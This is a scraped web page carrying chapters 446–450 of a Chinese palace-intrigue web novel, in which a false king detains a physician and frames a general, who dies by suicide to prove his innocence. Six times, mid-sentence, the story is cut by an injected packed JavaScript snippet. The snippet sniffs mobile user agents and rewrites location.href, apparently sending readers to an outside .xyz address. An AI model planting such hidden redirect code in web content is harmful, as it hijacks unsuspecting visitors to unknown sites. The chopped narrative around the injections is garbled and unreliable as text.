“朕的身体还没调理好,你们怎么能离开?”他直直望着叶晚竹,“况且,柳大夫医术高超,朕已经决定下旨,将你放在宫中留用!” 圣旨一下,那便是再也没有转圜的余地。 叶晚竹明显皱了皱眉。 “王上,民女是走方的游医,医术学得驳杂怪癖,先前能为王上解毒已是侥幸,怎敢进入御医署,怕是要贻笑大方,还请王上收回成命,放民女和师兄师姐离开吧!” 她虽然垂着脑袋,语气却十分坚定。 殿中顿时又陷入了一片沉默。 德水躬着身子站在一旁,感觉自己额头上的冷汗全都冒出来了。 王上的意思表现得已经这么明白,这柳大夫却装作不知,只能证明这位对王上的后宫毫无兴趣。 如此一来,王上怕是要发怒了。 果然,南疆王重重地拍了一把身下的软塌! “收回成命?你说的倒是轻巧!朕心意已定,无从更改!” “王上——” 叶晚竹抿了抿唇,还要再说,南疆王已经朝着外面扬声,“三喜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16327365|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “王上!” 三喜方才捅了那么个篓子,德水暗示院中的其他太监将他看管在殿外,等着他腾出功夫再去教训,没想到王上忽然又叫到了他。 三喜激动不已,一把推开挡在自己面前的两个小太监就快步跑进了屋中。 “你去送柳大夫到玉兰殿安置。” 南疆王合上眼皮,似乎有些气力不支。 “柳大夫,你便在玉兰殿中好好想想,等你想明白,会做出正确的选择的。” 这话说得,和外头强买强卖的奸商有什么区别? 宋将军站在软塌之后,忍不住皱了皱眉。 王上喜欢美人的毛病怕是又犯了,柳大夫还救了他的性命,两相叠加,只怕王上是不会放手的。 柳大夫这么一个无依无靠的游医,能拒绝一国之君吗? 看着眼前的大夫脸色煞白,被三喜躬身看着,只能无奈点头的模样,宋将军在心里也长长地叹息了一声。 王上为何如此不分轻重? 柳大夫不仅没有做错事,还两度救了王上的性命,王上却这般态度强硬,落在宫中其他人眼里,又是一副什么光景? “宋鹏!” 腹诽还没结束,南疆王忽然点了名字,宋将军连忙回神,又上前两步,靠着软塌跪了下来,“王上有何吩咐?” 南疆王的脸色还是不佳,眼神也透着冷厉。 “你刚才说,怀疑那些凶徒是从南城门跑到西城门去的?” “正是!” 听见南疆王居然说起了正事,宋将军一时间甚至有些受宠若惊的感觉! “那好,你现在就带人去西城门,给朕好好地查一查,刚才发生的事情到底是怎么回事!” 冷哼一声,南疆王的威严似乎在逐渐回笼。 “朕分明下令,严格闭锁四门,那帮凶徒是怎么无声无息地逃出去的?这里面肯定有问题!” “查!查不清楚,你提头来见!” 宋将军顿时冷汗涔涔。 王上这话更是意有所指,就差说西城门的守将有问题了! 他要是没记错,镇守西城门的将军是…… 第四百四十六章 城门是怎么开的? 宋将军带着一行人来到王都西城门的时候,守将游将军正背着双手站在一块空地上训话。 “到底是怎么回事?你们几个,谁能说明白?” 周遭一片混乱,唯有游将军吼声震天。 站在游将军面前的那几个士兵,还有百夫长等,全都缩着脖子,眼神也十分茫然。 听见声音的游将**过头,看到宋将军和身边的一行宫人,不由得皱起了眉头。 半个时辰之前,这里还是一切正常,官兵牢牢把守着城门,不许任何人靠近。 可就在换班的时候,那队凶徒忽然冲上前来,二话不说便抢马**! 西城门前的官兵连忙反应,可这伙凶徒不仅武功高强,还**了几个城中百姓,逼得他们不敢轻举妄动。 游将军见势不妙,带着弓箭手上城墙布控,包围圈还没完成,凶徒们便骤然对着下方发动了袭击。 对方有人质,还骑着马,硬碰硬显然不明智,游将军让城下的兵士引诱这伙凶徒往前,好进入弓箭的射程范围。 可谁知道—— “城门,城门是开着的!”游将军的语气满是难以置信,“见鬼了!” 他和宋将军本就相识,碰到这样的事情,一时间很难忍住心底的波澜。 宋将军听了这番话也是眉头紧皱,“什么叫城门是开着的?” “门上没锁!”游将军朝着那半开的西城门做了个夸张的手势,“那些凶徒冲上去一顶,就将城门顶开了!” 事发当时,游将军正在城墙上准备放箭,却见那些凶徒一路向前,径直消失在厚重的城墙下方! 还没等他反应过来,兵士们接二连三地喊着“城门怎么开了”,那帮凶徒却已经冲出王都,飞快地向前逃窜而去! 游将军连忙点了一支队伍和自己一同去追,可惜已经晚了,对方早就穿过几个岔口,消失得无影无踪! 直到开始调查城门,追问责任,游将军也还是弄不明白。 这城门到底是怎么开的? “老宋,你读的书多,你快帮我查查!”他上前一步揽住宋将军的肩膀,语气十分发愁。 游将军骁勇善战,但计谋上一直有所欠缺,前些年在战斗中被敌军设计,伤了手臂,自此便被调回王都了。 不过这不是最重要的,最重要的,是游将军的夫人姓慕,细算起来,慕夫人还是王后的妹妹。 宋将军一路上都在想这件事,想得背上全是冷汗。 这会儿被游将军拉住,他还没来得及说话,一旁便传来一道尖细的声音,“大胆!” “谁啊?” 游将军疑惑地转过头,这才看见站在人高马大的宋将军背后,几乎被挡了个严严实实的小太监。 “咱家四喜,是王上派来协助宋将军调查的!”四喜捏着一把嗓子,眼皮上下翻飞,“游将军,放跑了凶徒,你还如此大言不惭!” “四喜?我还丸子呢!” 离太监们还有一段距离,游将军低声在宋将军耳朵旁边嘟哝。 他向来不喜欢太监,宋将军叹了口气,又试图将话题调回正轨,“游将军,我今日是奉圣命前来,还是查案为重,你赶紧带我去城门看看!” 自从王上下令封城,城门便应该都套上了九道铁索,由上而下分别用不同的锁头锁死,四城门之间再交换钥匙。 按照常理来说,除非被暴力损毁,否则单独一扇城门绝对没有被破开的可能,更别说悄无声息地被打开了。 可宋将军走到西城门下,抬头便看见九道铁索不翼而飞,显得城门上空荡荡的! “这怎么可能?”他忍不住喃喃自语。 “游将军你好大的胆子!”一旁的四喜又大喊一声,“竟敢阳奉阴违,擅自松开铁索!” “你哪只眼睛看到本将松开铁索的?”游将军朝着四喜看过去,鼻子不是鼻子,眼睛不是眼睛的。 他看见太监就气不打一处来,看见四喜这样的,更是火冒三丈! 四喜细胳膊细腿,咽着口水不说话了。 “上一次换班的时候,九道铁索还是好好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16327366|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,这期间没有听到任何声音,”游将军冷哼一声,转而又望着宋将军,“我就在城墙上,不曾离开。” 城门守军换班时要检查九道铁索的情况,而这九条锁链沉重至极,上方的要靠绞盘才能吊起,就算是下方靠近地面的几条,落地的时候也会发出不小的声响,不可能被人偷偷取走。 可这九条铁索就是在一个时辰之内凭空消失了! 宋将军的眉头皱得更紧,脸色也越发难看。 事情好像要变得更不对劲了! “游将军,”他深吸一口气,“最后一班守军都是什——”么人? 一句话还没说完,又有另外一道尖利的声音从不远处猛地传来,“四喜公公!有发现!” 发现什么? 宋将**头朝着声音发出的地方看去,他还在寻找,游将军已经先一步破口大骂起来! “**的!谁让你进营房的?” 一个小太监一路狂奔着从营房方向而来,手里还攥着什么东西。 游将军胸膛起伏,不顾宋将军的阻拦大步上前,抬脚就朝着那小太监当胸踹去! “问你话呢,谁让你随便去营房的?” 城门附近的营房并不是所有兵士们晚上休息的地方,而是将领们互通消息,商议计划所用,寻常人不可随便进入。 那小太监被踹倒在地,四喜晚了一步没拦住,尖细的质问声越发高亢,“游将军这是什么意思!” “跟你没关系的意思!”游将军动了真怒,眉眼锐利,又看着地上的小太监,“擅自闯入重地,还偷拿文件,你不想活,本将现在就帮你!” 说着话,他便锃地一声抽出了腰间的大刀! 凶徒跑了,正烦着呢! 还有这等不长眼的捣乱! “游兄!”宋将军眼皮猛跳,连忙上前按住他的手腕,“莫冲动!这事儿恐怕不对劲!” 那个小太监这会儿缓过劲来,却猛地举起了手里的那一沓信封。 “这是游将军和凶徒往来的书信!” 第四百四十七章 不能写字?那也是你! “放开我!放手!” “有人陷害本将!” “你们这帮兔崽子,别动我!” 直到被押入御书房中,游将军还在不住地嚷着。 他什么都没干,怎么就被抓起来,还要面见王上了呢? “老宋,你知道的,我不可能做这种事啊!” 气喘吁吁地站在殿前的空地上,等待着南疆王的传召,游将军忍不住皱着眉头向同样站在一旁的宋将军喊屈。 他和那些凶徒,怎么会有来往? 宋将军的表情比去往西城门的时候还难看,只觉所有不好的预感怕是都要成真。 他想张口说些什么,放眼望去,院中全是侍卫,一个个眼神警惕,宋将军又默默地闭上了嘴。 和德顺四喜这等小太监一样,眼下院中的,也都是生面孔。 “诶?陈将军呢?”游将军这会儿也在看着院中的侍卫们,发现里面没有大内统领的踪迹。 这是咋回事? 没等二人再说什么,四喜从御书房小步跑了出来。 “王上说,把这个逆贼带进去!” 他下巴一抬,眉毛一扬,十足的小人得志。 游将军见状又想大骂,顾忌着在御前才用力忍住,又被几个大内侍卫按住胳膊,准备往御书房中去。 “游兄,”宋将军状若无奈地叹了一声,“一会儿到了王上面前,你还是小心说话为好。” 这话似乎是在指点游将军的暴脾气,可只有宋将军本人知道,他能做的也只有这些了。 游将军还在生气,不知道能听进去多少,宋将军打起精神,率先往御书房里去。 南疆王经过一番调理,已经恢复了正常,正面无表情地坐在书桌之后。 殿中似乎萦绕着一股凝重的气息,压得人喘不过气。 “跪下!” 把游将军带到殿中,两个大内侍卫一左一右朝着他膝弯踹去! 游将军闷哼一声跪倒在地,抬头看着南疆王,张嘴就喊,“王上,末将冤枉!” 南疆王这会儿在垂头看着手中的信件,那些从营房搜出来的书信,已经先一步呈送到了宫中。 “冤枉?” 听着游将军委屈的声音,南疆王哼了一声,扬手把信纸露了出来。 “这上面白纸黑字地写着你和那些凶徒的往来,从袭击过街的太监,到在南城门虚晃一枪,再到最后的逃跑全都清清楚楚,你有什么冤枉的?” 他震声开口,语气出离愤怒,仿佛要把大殿的房顶都掀翻。 “游四方!朕真没想到你会做出这样的事情!” 南疆王把桌子拍得邦邦响,脸色也跟着涨红,任谁看来都是一副被手下欺瞒,火冒三丈的模样。 可从宋将军到德水的表情都是说不出的怪异。 游将军这个当事人更是愣住,徒然睁着一双眼睛,往日炯炯有神的虎目之中,现下全是迷茫。 “王,王上……”他试着朝上方轻声开口。 南疆王的脸上愤怒依旧,“你还不认罪,还要狡辩?自己看看吧!” 说着话,他又一挥手,将那几封书信尽数甩到游将军面前。 游将军却没急着低头看,而是依旧错愕地望着上方。 “王上您怎么了?”他的语气更是疑惑不解,“末将不能写字啊……” 南疆王的表情猛地就是一滞。 游将军试着活动了一下自己被抓在身后的右手,还是笨笨的,一点儿都不灵活。 多年前,南疆攻打碧岚,游将军便是主将之一。 碧岚人狡猾,他的胳膊就是那个时候受伤的,伤口太深,波及了重要的筋脉,恢复后整个右手都不能自如地活动。 好在游将军练的是双手刀,仅凭左手也能和寻常将领一较高下,这些年来留任王都也没什么大问题。 “王上,您,您忘了?” 这会儿看着南疆王古怪的神情,游将军的语气越发诧异。 当年他刚刚回到王都,王上还不愿意相信这个结果,专门让御医来看过他的手呢! 虽然时隔多年,也不能一点儿印象都没有了吧! 游将军忍不住感到一阵心寒。 太让人伤心了! 王上怎么能这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333973|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ? 想着想着,宋将军刚才那句话却好像又钻进了游将军耳中。 在王上面前,小心说话为好? 这是什么暗示? 游将军皱着眉头,他想不明白! “你不能写字又如何?” 这时候,南疆王沉沉的声音从上方传来,怒意依旧不减。 “你身边的副将,亲信,难道不能替你做这件事情吗?” 游将军猛地抬起头,忍不住张大了嘴! “那怎么能证明这件事就是末将做的呢?”他实在忍不住,辩驳脱口而出! “王上,”宋将军也上前两步,“此事尚有疑点,末将愿继续追查!” 不是没有亲信代笔这种可能,而是这话从南疆王的口中,就这么毫无根据地说出来,实在荒谬! “等你追查要等到什么时候?” 南疆王冷嗤一声,又道,“来人!去搜西城门的营房,还有游将军府,任何疑点都不许放过,有问题的人全都带到宫中,朕要亲自审问!” 宋将军闻言两眼一黑! 这还怀疑什么? 御林军一出,游将军的罪名基本就是板上钉钉了! “王上!”游将军的眼睛越瞪越大,“您怎么能这样——” “住口!你这吃里扒外的逆贼!” 南疆王再次暴跳如雷,吼声震天,“你勾结给朕下毒的逆党,还放他们逃离王都,游四方,你有何居心?又是谁指使你这么做的!给朕老实交代!” 游将军冤枉得恨不得从地上蹦起来,一张脸都因为急迫而有些变形。 “王上,您说的话,末将一句都听不懂啊!” 武将伤了手便基本是个废人,就算游将军还有左手能用,又靠着慕家的面子在京中继续任职,这些年下来也被王都的各大圈层冷落,除了当差,他什么都不知道。 宫中前一阵子的惊心动魄更是半点都没传到游将军耳中,他只知道城里有凶徒,要把守城门! “你还给朕装糊涂是吧?来人,拖下去处死!”南疆王猛地拍着桌子! “王上三思啊!” 第四百四十八章 得道多助,失道寡助 闻言,宋将军忍不住跪在地上,大声疾呼。 “朕要三思什么?”南疆王的怒火顿时又朝着这边发作起来,“你又干了什么好事不成?一群废物,没一个有用的!放跑了凶徒也有你的一份!” 宋将军:?? “王上——”他的声音也委屈起来。 南疆王却不想听,“再来人!把宋鹏也拖出去,五马分尸!” 游将军方才还在因为自己这突然的**而震惊,这会儿听着宋将军的判决,更是张大了嘴巴,合都合不上! 两句话的功夫,他们俩都要死? 王上是不是被疯蛊虫咬了? 这病有的治吗? “王上,王上息怒啊!” 德水皱了皱眉头,又很快恢复正常,快走两步上前在南疆王起伏的胸膛上来回抚着。 “您消消气,方才柳大夫说了,您身体虚弱,这个时候千万不宜再动气!” 听见这个名字,南疆王纷乱的呼吸一顿。 “柳大夫说的?”他抬起头,带着质询的眼神直直朝德水看去。 德水硬着头皮,权当这是真的,“正是!柳大夫还写了安神调养的药方,让奴才送到御医署去,给大人们看过没有问题,就煮了给您送来呢!” 几句话的功夫,南疆王的脸色就变得好看了一些,怒气也被抚平了不少。 下方的游将军瞠目结舌地看着这一切,他知道游医替王上解毒的事情,这会儿倒是很快地明白了过来。 美人计对王上就这么好用? “她倒是有心了。” 南疆王勉强收敛起一身的怒火,重新直起身子,又对着德水道,“让人去把柳大夫请来,朕心口疼痛,不知道那药还能不能正常服用,还是让她再来瞧瞧为好。” “奴才这就去办。” 心知这是南疆王想见美人的理由,德水也什么都没说,反而加快了离开御书房的脚步。 王上竟然想一口气把宋将军和游将军都杀了,这简直就是天方夜谭! 德水从王后宫中离开的时候,原本还没想好自己究竟要怎么做,毕竟南疆王是他从小伺候到大的主子。 可现在,再不愿意相信,他也得做出决断了。 王上是真的不能托付了。 定了定神,德水飞也似地朝玉兰殿而去。 玉兰殿中,叶晚竹正坐在桌边,三喜跪在殿外,整个人都在发抖。 德水进到院中便看见这幅场景,与此同时,三喜也看见了他。 “师父……” 跪的浑身都麻木了,三喜哆哆嗦嗦地小声朝德水求救。 脚下微微一顿,德水随即像什么都没看到一样,大步朝殿门走去。 “柳大夫。” 屋中,叶晚竹听德水三言两语说清来意,便先挑了挑眉。 “安神调养的药?” 她被送到这玉兰殿便没出去过,只忙着和三喜斗智斗勇了,哪来的功夫给南疆王送什么补药? “御医署正在准备,许能提前送到王上面前。” 德水笑着答非所问,又将怀中的一枚令牌摸出来送到叶晚竹面前。 是王后的东西。 “王上倒行逆施,奴才愿为娘娘效力。”他又压低了声音。 叶晚竹闻言毫不意外,淡淡地笑了一声。 得道多助,失道寡助。 二人很快离开玉兰殿往御书房去,再次路过跪在地上的三喜时,叶晚竹又停下了脚步。 “柳大夫,奴才,奴才知错了!”三喜连忙抓住机会,哀嚎一声。 “你打碎了王后送来的白玉净瓶,一句知错就能弥补了吗?”叶晚竹的声音很冷。 三喜瘪着嘴,忍了又忍,好像还是没忍住,“那分明是您手滑——” “放肆!” 德水骤然低喝,“做错了事情竟然敢推到贵人头上?咱家就是这么教你的?” 他就知道这徒弟是个蠢货,可收都收了,只能硬着头皮教导、 没想到,还是对牛弹琴! 三喜被训得垂下脑袋不出声,梗着脖子,一看就是不服。 “觉得我故意为难你?”叶晚竹这时候朝下俯了俯身。 “奴才不敢。”三喜的回答硬邦邦的。 德水见状忍不住又恼怒地吸了一口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333974|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气。 蠢货! 天大的蠢货! “既然不敢,那你就跪在这儿好好反思。” 叶晚竹轻笑一声,抬眼看看周围的小太监。 “你们都回去休息,让他一个人跪着,什么时候想清楚,什么时候再起来!” 她话音落下,小太监们应声离开,偌大的院子里瞬间就只剩下三喜一个人。 “好好跪着。” 又留下一句话,叶晚竹这才带着德水离开。 在二人身后,三喜抬起头,一双阴狠的眼睛定定地望着叶晚竹和德水的背影。 “柳大夫,您为何要这么做?” 离开玉兰殿的范围,看四下无人,德水才疑惑地出了声。 “奴才看三喜那模样,定然不会诚心认错,眼下王上愿意重用他,若是他暗中给您使绊子,只怕,只怕会有麻烦啊!” 德水不知道眼前的这个柳大夫究竟是什么来路,只知道王后给他透过底,如果有需要就来找柳大夫商议。 想着这位应该不曾在宫中生活,德水又皱起眉头,“三喜心思狭窄,被您如此针对,怕是不知道要从什么地方报复回来。” “我怕的就是他不报复我。” 谁知,德水一语落下,叶晚竹只是笑了笑,又道,“他不报复,我怎么能找到正大光明地收拾他的机会呢?” 德水一怔之下明白过来,再看向叶晚竹的时候,笑容便真心实意地放松了下来。 原来是早有准备! “是奴才多虑了,您这边请!” 叶晚竹随着德水来到御书房的时候,正赶上御医署的太监同样前来,手中还捧着一个食盒,淡淡的中药味道从里面散发出来,正是“叶晚竹”给南疆王准备的补药。 殿中传来的说话声窸窸窣窣的,叶晚竹听了片刻,将食盒拿过来,大步往殿中走去。 “王上,”她皮笑肉不笑地径直进殿,“该喝药了。” 无人通传,也没有行礼,无一不是犯了宫中的忌讳。 南疆王却朝着叶晚竹露出了一个笑容,又故作虚弱地咳嗽了两声。 “到朕这里来。” 第四百四十九章 以死明志 下方,还跪在地上的游将军又开始瞪大双眼。 德水走后,殿中只剩下一群不得用的小太监,大内侍卫也都被南疆王遣去搜查,暂时腾不出手来致他和宋将军于死地。 没想到,竟然还能让他们看这样的一场戏! 看着柳大夫一步步走到南疆王身边,游将军的眉头也渐渐地皱了起来。 王上就这样让这个女子随意出入御书房? 未免也有些太过分了吧? 南疆王从前也对后宫中的嫔妃们不甚严厉,可有王后的管理,也不会闹出这样不成体统的事情。 现在这是…… 游将军还不知道王后受伤,可只看着他今天见到的场景,游将军也终于开始感觉不对劲了。 他忍不住朝身边的宋将军看了一眼。 宋将军垂下眼睫,不动声色地朝着他摇头。 王上的所作所为,他们现在每一步都看不清! 但有一点倒是很明显,王上想做的事情,绝对不是他们想看到的。 上方,叶晚竹端出药碗放在南疆王面前,闻到碗中的味道和岑灵川先前开过的清火方子差不多。 “这是你专门为朕准备的?” 单手端过药碗,南疆王眉眼含笑,就这么和叶晚竹闲聊起来,仿佛御书房中其他的人都不存在一般。 叶晚竹点了点头,又感到有些古怪。 眼前的这个不是真正的南疆王没错,可她这么看着,却怎么也和天问那秃驴联系不到一起。 分明之前她还能听出属于天问秃驴的只言片语,不过几日过去,这秃驴的戏就能演得这么好,让人一点儿端倪都看不出来? 叶晚竹皱了皱眉,直觉告诉她并非如此。 “王上先用药吧,凉了就不好了。” 不动声色地避开南疆王的眼神,叶晚竹一边说着话,一边将试毒的银针拿了出来。 她要试药的动作却被南疆王拦下。 “朕相信你!” 大袖一扫,南疆王端起药碗便一饮而尽! 叶晚竹的嘴角忍不住抽了抽。 这药又不是她熬的,相信她做什么? 下方的宋将军和游将军更是齐齐瞠目! 王上竟然连自己的性命都不顾了? 这是不是有些太奇怪了啊? “王上!王上——” 南疆王刚放下药碗,一阵脚步声从院中传来,紧接着,前往游将军府的大内侍卫先回来了。 领头的小将军怀里抱着一个匣子,进殿打开来,里面又是一沓厚厚的书信! 游将军忍不住打了个哆嗦,他现在看到书信,就头疼! “这是什么?”南疆王眯着眼发问。 “是……”小将军偷眼飞快地看了一下游将军的方向,“是游将军和慕相私下来往的密信。” 闻言,游将军眼前黑了又黑! 他就知道没好事! “把信拿上来!”南疆王一拍桌子。 这一盒子的书信里写着的内容,比起方才的那几封便更是有过之而无不及,详细记录了慕丞相是如何对当今南疆王的统治不服,又是如何先拉拢人心,再招兵买马,时刻准备着要推翻王上的统治的过程。 那帮凶徒的身份也在信中被起底,正是慕丞相安排的! “狗胆包天!” 南疆王一封封看着书信,愤怒得无以复加,“你们还有什么话好说!” “王上,这,这不是末将写的啊!” 游将军今天被冤枉得太多,这会儿头晕眼花,“末将从来没有和慕相通过这样的书信!” “王上,”宋将军也忍不住了,“双方往来的信件全都在游将军的府上,这怎么可能?此事定是有人在陷——” “你给朕闭嘴!” 他一句话还没说完,便又被南疆王截断了。 南疆王又一次暴跳如雷,一把抓起盒子里的所有书信,绕过桌子冲到游将军面前,猛地就给他来了一记窝心脚! “畜生东西!朕看在你为南疆建立过功勋的份儿上,给了你多少优待?结果呢?你就是这么回报朕的?” 游将军被踹翻在地,又听着南疆王的话,眼眶忍不住红了。 “王上若是下定决心要治末将的罪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333975|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那就杀了末将平息怒火好了!可慕相是无辜的,末将也没有半分要谋反的心思!” 他就是负责守个城门,他招谁惹谁了? “你的意思是朕偏听偏信?” “没错!” 横竖好像都要**,游将军用力吸了吸鼻子,也不再压抑自己。 “末将不能写字,为何要用书信的方式跟慕相密谋?这岂不是多此一举?而且我与慕相往来的书信全都在末将一人手中,此事王上难道不觉得荒谬吗?” 有谁密谋**,还把证据存得这么齐全的? “末将虽然不善计谋,但末将不是傻子!” 游将军悲愤地瞪着南疆王,“王上厌弃末将无能,大可直说,末将愿立刻解甲归田,将职位交还,只愿王上莫要这般污蔑末将的名声,游家世代从军,为南疆效忠,丢不起这个脸面!” 这话,无疑是把南疆王的脸面放在地上踩了。 南疆王的呼吸变得粗重起来,“放肆!还敢狡辩!” “王上金口玉言,您说末将是狡辩,那就是狡辩好了,”游将军用力挺直了脊背,“公道自在人心,末将无话可说,愿一死为证!” 他弓起身子,猛地从地上弹起,看准了一旁的柱子,狠狠地撞了上去! “游兄!” “游将军!” 几道惊慌的声音响起,站在柱子旁的小太监软手软脚,又在德水的眼神暗示下,连忙上前将游将军倒下的身子扶住。 游将军这一撞显然是存了必死的决心,脖子撞断了,脑袋以一个诡异的角度歪在小太监怀中,七窍流血,眼神也在瞬间变得涣散。 叶晚竹绕过南疆王快步上前,从怀中摸出止血的药粉,却被游将军一把扫开! “妖女!本将死得其所,不需要你……假惺惺的!” 大瞪着双眼,游将军费力喘息着,木然的眼睛朝站在远处的南疆王直直瞪去。 “你……诬陷忠良,不配,不配……” 一句话还没说完,游将军眼底的光便熄灭了。 殿中一时静得可怕,半晌过去,南疆王才重新开口—— 第四百五十章 请王上彻查此案! “以为畏罪**,朕就会轻轻揭过吗?哼!” 这话是什么意思? 宋将军难以置信地抬起头,刚想说什么,便被两个侍卫死死地按住了上半身。 与此同时,南疆王的声音也再次从上方传来。 “游四方和慕家勾结,有铁证如山!来人,再去一趟慕府,查抄抓人!” “这……” 他这话一出,别说是站在殿门前的那些大内侍卫,就连小太监们的眼中都露出了惊惶。 这么一匣子书信,怎么能当铁证呢? 王上到底怎么了? “……王上,”德水这个时候不得不硬着头皮出声,“您看,此事是不是再详加调查一下……” 游将军还躺在御书房里,尸骨未寒,王上连一眼都不看,就要急着继续抓人? 敢情游将军撞柱之前说的话,王上是一个字都没听进去? 德水垂着脑袋,心里说不出是什么滋味。 知道眼前的人已经不再是当初的王上,和亲眼见到他的昏庸荒唐,的确是两回事! “还有什么可调查的?” 南疆王一拂袖,重重地哼了一声。 “游四方这是想以死来蒙蔽朕的眼睛,阻止朕继续调查下去,他想得美!这件事,朕势必要查个水落石出!人呢——” “王上!” 他说的实在不像话,叶晚竹终是忍不住出了声。 南疆王顿了一下,眉头紧皱地望着叶晚竹,仿佛正在强压着怒气。 叶晚竹快步上前,袖子上还沾着游将军的血。 “王上,若此事真是游将军和慕府的设计,那他们为什么要杀了慕丞相?此举意欲何为?” 叶晚竹话音落下,御书房中又有了一瞬的静默。 慕丞相的死讯方才是传到了宫中,却被那凶徒的去向截住,一时间没了下文。 宋将军也是这时候才后知后觉,连忙挣扎着开口,“是啊王上!那些凶徒不可能是慕家派出去的人!这其中还有问题,请王上详加查察,莫要被奸人蒙蔽!” “你的意思是说朕昏庸,奸人随随便便就能骗到朕吗?” 南疆王闻言顿时眉头一皱,又开始发怒。 要不是宋将军知道自己不能也去撞柱,他这会儿真想把实话说出来! 你以为你还不昏庸吗? “王上!”叶晚竹也加重了语气,“游将军以死明志,您——” “够了!” 不想再听什么,南疆王一挥衣袖,“都给朕闭嘴!德水,你送柳大夫回去,朝中大事,她一个女人参与什么?” 德水战战兢兢地应了一声,脚下却很磨蹭。 他这一走,万一王上做出什么挽回不了的事情怎么办? “宋鹏!”南疆王的怒火又变了方向,“你别以为朕不知道,你和慕家也有牵扯!你们合起伙来对付朕!” 宋将军看着上方五官扭曲,面容变形的南疆王,心底空落落的,只有悲凉。 这就是他效忠的君主? 一个是非不分,黑白颠倒的人? “还有你们!去查抄慕府,现在!”南疆王又对着站在殿外,看样子有些不知所措的御林军们咆哮着。 叶晚竹佯装不想离开,和德水进一步退两步地“挣扎”着,一边继续不动声色地观察着南疆王。 更奇怪了。 就算是天问那秃驴,眼下这种场面也不至于会让他变成这般暴怒不已的模样。 还是说,这是他故意为之? 原因又是什么? 另一边,宋将军冷笑一声,看了眼地上的游将军,也做好了撕破脸的准备! 王上无能,还有他们这些将士;可王上又坏又蠢,那他还不如早点去投胎更痛快! 宋将军张嘴要辩驳,这个时候,一阵急匆匆的脚步声又从院中传了过来。 “王上!不可冲动啊王上!” “请王上三思!” “此事蹊跷,还请王上细细调查!” 呼喊声接二连三地响起,南疆王朝外面看去,只见众多官员站在院中,又纷纷下跪**。 “大胆!”他更生气了,“谁让你们进宫的?” “臣等听说了王 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339738|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都中的情况,特意前来为王上分忧!” 领头的赫然是周大人,他身上的官服穿得并不齐整,一看就是赶时间来的。 周大人这会儿跪在地上还在大口喘气,声音也跟着有些颤抖。 凶徒逃离京城,慕丞相**,光是这两件事已经足够让王都中人瑟瑟发抖的了,王上这个时候派人查抄了游将军的府邸,还将游将军和慕相勾结凶徒的消息喊得人人皆知,这更是让大伙儿惶惶不可终日! 大人们直到入宫之前,都以为这是假消息呢! “王上,”又一位大人开了口,“此案牵涉甚广,如今城中又风波未定,微臣拙见,是不是应当先安抚民心,再详细调查,免得遗漏什么——” “舒大人是吧?” 